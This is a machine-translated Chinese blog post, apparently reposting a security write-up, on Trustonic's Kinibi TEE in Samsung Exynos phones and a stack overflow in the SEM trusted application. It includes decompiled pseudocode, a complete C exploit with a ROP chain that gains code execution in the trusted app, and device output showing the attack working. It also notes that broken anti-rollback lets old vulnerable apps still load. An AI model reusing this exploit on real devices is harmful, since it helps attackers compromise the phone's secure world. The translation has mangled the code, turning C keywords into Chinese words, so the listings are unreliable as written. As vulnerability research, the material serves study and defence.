一段时间以来,Android设备和许多嵌入式系统都使用了受信任的执行环境(TEE)来托管一些安全功能(如硬件加密/密钥,DRM,移动支付,生物识别等)。 在ARM平台上,TEE是小型操作系统,它们使用ARM TrustZone技术将其执行与标准操作系统(例如Linux)隔离开。
TEE操作系统比Rich Execution Environment(智能手机中的REE,Android)简单得多,并且对逆向工程很有趣。 这篇博客文章专门介绍Trustonic的TEE实施,尤其是三星为其Exynos芯片组进行的集成。 三星最近在受信任的应用程序中修复了一个小漏洞。 在对TrustZone / Kinibi进行简要说明之后,本文详细介绍了此漏洞的利用。
信任区
在TrustZone体系结构中,TEE在安全的EL1异常级别上运行。 可将受信任的应用程序加载到其之上,并在安全的EL0异常级别上运行。 受信任的应用程序是经过签名的图像,只有在图像签名正确且来自受信任的开发人员的情况下,才能加载该图像。
REE通过执行安全监视器调用(在内核模式下使用特权SMC指令)与TEE通信。 这些调用由安全监视器处理,并中继到TEE内核。


TrustZone架构
TrustZone允许通过使用非安全标志(NS)标记内存来将安全世界的内存与正常世界隔离。 在正常情况下运行的代码只能访问标记为NS的内存。
在手机上,有3种主要的TEE实现:
- 基于Qualcomm SoC的设备上的QSEE / QTEE
- 华为的TrustedCore
- 来自Trustonic的Kinibi
存在一个开源实现: op-tee ,此版本可以在Qemu和某些开发板上运行。
基尼比
Kinibi是Trustonic(也称为T-Base或Mobicore)构建的TEE实现,主要用于Mediatek和Exynos SoC。 Kinibi由多个组件组成:
- 微内核:MTK
- 运行时管理器:RTM
- 很少的内置驱动程序:加密,安全存储,...
- 应用程序/驱动程序使用的帮助程序库:McLib
Kinibi仅在Aarch32模式下运行。

基尼比建筑
微内核以安全的EL1异常级别运行。 它提供对驱动程序和受信任的应用程序的系统调用,并强制执行任务隔离。 安全监视器中的一段代码将SMC中断从正常环境中继到TEE内核,从而允许两个环境之间进行通信。 内核还执行抢占式调度。
运行时管理器是Kinibi的主要任务,它管理普通世界客户端和受信任的应用程序之间的会话。 当REE客户端打开新会话时,RTM首先检查应用程序是否已经加载。 加载过程涉及应用程序二进制文件的签名检查。 还可以对应用程序二进制文件进行加密,因此RTM在加载受信任的应用程序之前对其进行解密。
驱动程序在安全的EL0异常级别运行,并且由于其二进制文件与受信任的应用程序具有完全相同的格式,因此它们将加载相同的API。 与TA相比,驱动程序可以访问的系统调用更多。 这些额外的系统调用使驱动程序可以映射其他任务内存,物理内存,执行SMC调用等。
McLib库为TA和驱动程序提供了API。 它是二进制文件,映射到每个驱动程序或应用程序任务中的固定地址。 应用程序通过跳转到r0寄存器中具有API ID的库入口点来使用该库。 TA和驱动程序的功能称为tlApi*而仅驱动程序的功能称为drApi* 。 API函数的定义可以在许多GitHub存储库中找到,这有助于逆向工程。
在Samsung手机上,可以从sboot.bin轻松提取这些组件。 @kutyacica在ekoparty会议上提出了一种提取这些部分的好方法。 他在sboot.bin二进制文件中找到一个表,其中包含不同组件的偏移量。 自Galaxy S6以来,此表的格式略有变化,但解压缩二进制文件仍然很简单。
受信任的应用程序
在大多数情况下,受信任的应用程序和驱动程序是签名的二进制文件,但未加密,可以轻松进行分析。 在三星手机上,这些二进制文件存储在/vendor/app/mcRegistry/和/system/app/mcRegistry/目录中。
受信任的应用程序和驱动程序二进制文件使用的格式是MCLF格式。 该格式记录在trustonic-tee-user-space GitHub项目上可用的头文件中。 mclf-ida-loader可帮助您在IDA中加载此格式。
加载TA时,Kinibi使用MCLF头映射TA存储空间中的代码,数据和bss区域。 mcLib库映射到固定地址(Galaxy S8 / S9上为0x07d00000 )。 打开会话时,共享缓冲区(称为tci )也映射到固定地址: 0x00100000或0x00300000具体取决于MCLF标头中指定的版本。
REE中的TA客户端可以映射新的共享内存区域,这些区域映射为0x00200000 + map_id*0x00100000 。


TA内存映射
大多数受信任的应用程序将tci共享内存用于输入和输出缓冲区,前32位用作命令ID。 通常,初始化是在入口点完成的(加密初始化,堆栈cookie随机化等),然后调用main函数。 main函数检查共享缓冲区的大小,然后启动主循环。 TA使用tlApiWaitNotification (6)API等待新消息,并处理共享缓冲区的内容。 响应数据被写入共享缓冲区,TA使用tlApiNotify (7)API通知REE,并等待新消息。
TA开发101
即使TEE操作系统专用于安全性操作,该操作系统也没有像ASLR / PIE这样的安全性强化,这使得利用受信任的应用程序中的漏洞非常容易。
在G955FXXU2CRED和G955FXXU3CRGH (对于Galaxy S8 +)之间的某个G955FXXU2CRED ,三星修补了SEM TA( fffffffff0000000000000000000001b.tlbin )。
该修补程序修复了0x1B命令处理程序中直接可达到的基于堆栈的缓冲区溢出。 此外,在此TA的新版本中启用了堆栈cookie。
/ * G955FXXU2CRED中的伪代码* /
无效 __fastcall handle_cmd_id_0x1b ( unsigned int * tciBuffer)
{
// [...]
字符 v64 [ 256 ]; // [sp + 158h] [bp-770h]
字符 v65 [ 256 ]; // [sp + 258h] [bp-670h]
字符 v66 [ 200 ]; // [sp + 358h] [bp-570h]
字符 v67 [ 1024 ]; // [sp + 420h] [bp-4A8h]
字符 v68 [ 64 ]; // [sp + 820h] [bp-A8h]
字符 v69 [ 52 ]; // [sp + 860h] [bp-68h]
int v70; // [sp + 894h] [bp-34h]
bzero( v66,0xC8u );
bzero( v64,0x100u );
bzero( v65,0x100u );
bzero( v68,0x40u );
v4 = tciBuffer [ 2 ];
v5 = tciBuffer [ 3 ];
//具有源和长度受控的memcpy
memcpy(v66, tciBuffer + 4 , tciBuffer [ 3 ]);
v6 = v5 + 12 ;
v7 = * ( int * )(( char * )tciBuffer + v5 + 16 );
如果 ( tciBuffer [ 23042 ] > ( unsigned int )(v7 + 208 ) )
{
snprintf(v67,0x400, “〜%18s:%4d:输入数据通过缓冲区。” , v8,113 );
print( “ [E] SEM%s \ n ” , v67);
回报 ;
}
// [...]
没有堆栈cookie,在命令处理程序中直接可以访问基于堆栈的缓冲区溢出,这应该使您想起您的第一个漏洞利用/挑战。
受信任的应用程序具有映射的执行代码页和读写数据页。 Kinibi没有像mprotect的syscall,也不提供syscall和Trusted Applications之间的map ,因此在TA中执行任意代码的唯一方法是对其代码进行ROP。
为了与TEE通信,使用了libMcClient.so库。 该库提供了加载TA,打开会话,映射内存并通知受信任的应用程序的功能。 Trustonic提供了使用此库的头文件: MobiCoreDriverApi.h 。 在Android上,只有某些特权应用程序和具有特定SElinux上下文的应用程序可以使用TEE驱动程序。
这是一个简单的漏洞利用,ROP在Samsung设备上打印受控日志字符串,TEE日志以kmsg打印。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / stat.h>
#include “ MobiCoreDriverApi.h”
#define err(f_,...){printf(“ [\ 033 [31; 1m!\ 033 [0m]”); printf(f_,## __ VA_ARGS__);}
#define ok(f_,...){printf(“ [\ 033 [32; 1m + \ 033 [0m]”); printf(f_,## __ VA_ARGS__);}
#define info(f_,...){printf(“ [\ 033 [34; 1m- \ 033 [0m]”); printf(f_,## __ VA_ARGS__);}
#define warn(f_,...){printf(“ [\ 033 [33; 1mw \ 033 [0m]”); printf(f_,## __ VA_ARGS__);}
int main ( int argc, char ** argv) {
mcResult_t ret;
mcSessionHandle_t session = { 0 };
mcBulkMap_t 地图;
uint32_t stack_size;
char * to_map;
// ROPgadget --binary fffffffff0000000000000000000001b.tlbin \
// --rawArch arm --rawMode thumb --offset 0x1000
uint32_t rop_chain [] = {
0x38c2 +1 , // pop {r0,r1,r2,r3,r4,r5,r6,pc}
0x0 , // r0(将是要打印的字符串)
0x0 , // r1(参数,将在mcMap之后设置)
0x0 , // r2(未使用)
0x0 , // r3(未使用)
0x0 , // r4(未使用)
0x0 , // r5(未使用)
0x0 , // r6(未使用)
0x25070 + 1 // tlApiPrintf包装器
};
文件 * f = fopen(
“ /data/local/tmp/fffffffff0000000000000000000001b.tlbin” ,
“ rb”
);
如果 ( ! f) {
err( “无法打开TA%s \ n ” ,argv [ 1 ]);
返回 1 ;
}
fseek(f, 0 , SEEK_END);
uint32_t ta_size = ftell(f);
fseek(f, 0 , SEEK_SET);
char * ta_mem = malloc(ta_size);
if (fread(ta_mem, ta_size, 1 , f) != 1 ) {
err( “无法读取TA” );
返回 1 ;
}
uint32_t tciLen = 0x20000 ; // TA访问此WSM上的固定偏移量
//因此缓冲区应该足够大
uint32_t * tci = malloc(tciLen);
ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT);
如果 (ret != MC_DRV_OK) {
err( “无法mcOpenDevice \ n ” );
返回 1 ;
}
to_map = strdup( “->来自受信任应用程序的Hello <- \ n ” );
ret = mcOpenTrustlet( & session, 0 , ta_mem, ta_size,
( uint8_t * ) tci , tciLen);
如果 (ret == MC_DRV_OK) {
//将字符串映射到TA虚拟空间中,API返回
// TA空间中的地址。
ret = mcMap( & session, to_map, 40960 , (mcBulkMap_t * ) & map);
如果 (ret != MC_DRV_OK) {
err( “无法映射到 \ n ” );
返回 1 ;
}
ok( “ TA虚拟内存中的地址:0x%x \ n ” , map.sVirtualAddr);
// rop_chain [1]为R0,将其指向TA中的字符串
//地址空间。
rop_chain [ 1 ] = map.sVirtualAddr;
stack_size = 0x54c ; //填充堆栈框架
stack_size + = 0x20 ; //弹出的寄存器大小
//填充tciBuffer
tci [ 0 ] = 27 ; // cmd ID
tci [ 3 ] = stack_size + sizeof (rop_chain); // memcpy大小
memcpy( & tci [ 4 + stack_size / 4 ], & rop_chain, sizeof (rop_chain));
//通知助教
mcNotify( & session);
mcWaitNotification( & session, 2000 );
mcCloseSession( & session);
}
mcCloseDevice(MC_DEVICE_ID_DEFAULT);
返回 0 ;
}
dreamlte:/#/数据/本地/ tmp / exploit_sem [+] TA虚拟内存中的地址:0x2005f0 dreamlte:/#dmesg -c | grep TEE TEE:b01 | [I] SEM [INFO]:开始SEM TA ::版本:2016.06.15.1 TEE:b01 | [E] SEM错误的CCM版本 TEE:b01 | [E] SEM错误的CCM版本 TEE:b01 | [E] SEM handleCCMDataSWP [错误END] TEE:b01 |->从受信任的应用程序<-您好
结论
本文显示了在Trusted App中实现任意代码执行有多么容易。 SEM应用程序还包含其他重要漏洞,但是堆栈cookie限制了漏洞利用。
由于TEE提供了一种防回滚机制,因此在最新设备上,TA中的修补漏洞应该是无法利用的。 不幸的是,三星在合并与安全相关的补丁时并不总是增加版本号。 SEM TA就是这种情况,这意味着仍可以加载和利用旧版本。
在许多三星设备上,防回滚机制似乎根本不起作用(例如在S8上)。
由于攻击者可以与安全驱动程序和TEE内核syscall进行交互,因此在受信任的应用程序中获得代码执行会大大增加攻击面。

本文深入探讨了三星设备上TrustZone技术中的Trustonic TEE实施细节,特别是针对Exynos芯片组的集成。揭示了受信任的应用程序(SEMTA)中的一个已修复的安全漏洞,详细分析了漏洞的利用过程,展示了在受信任环境中执行任意代码的潜在威胁。

252

被折叠的 条评论
为什么被折叠?



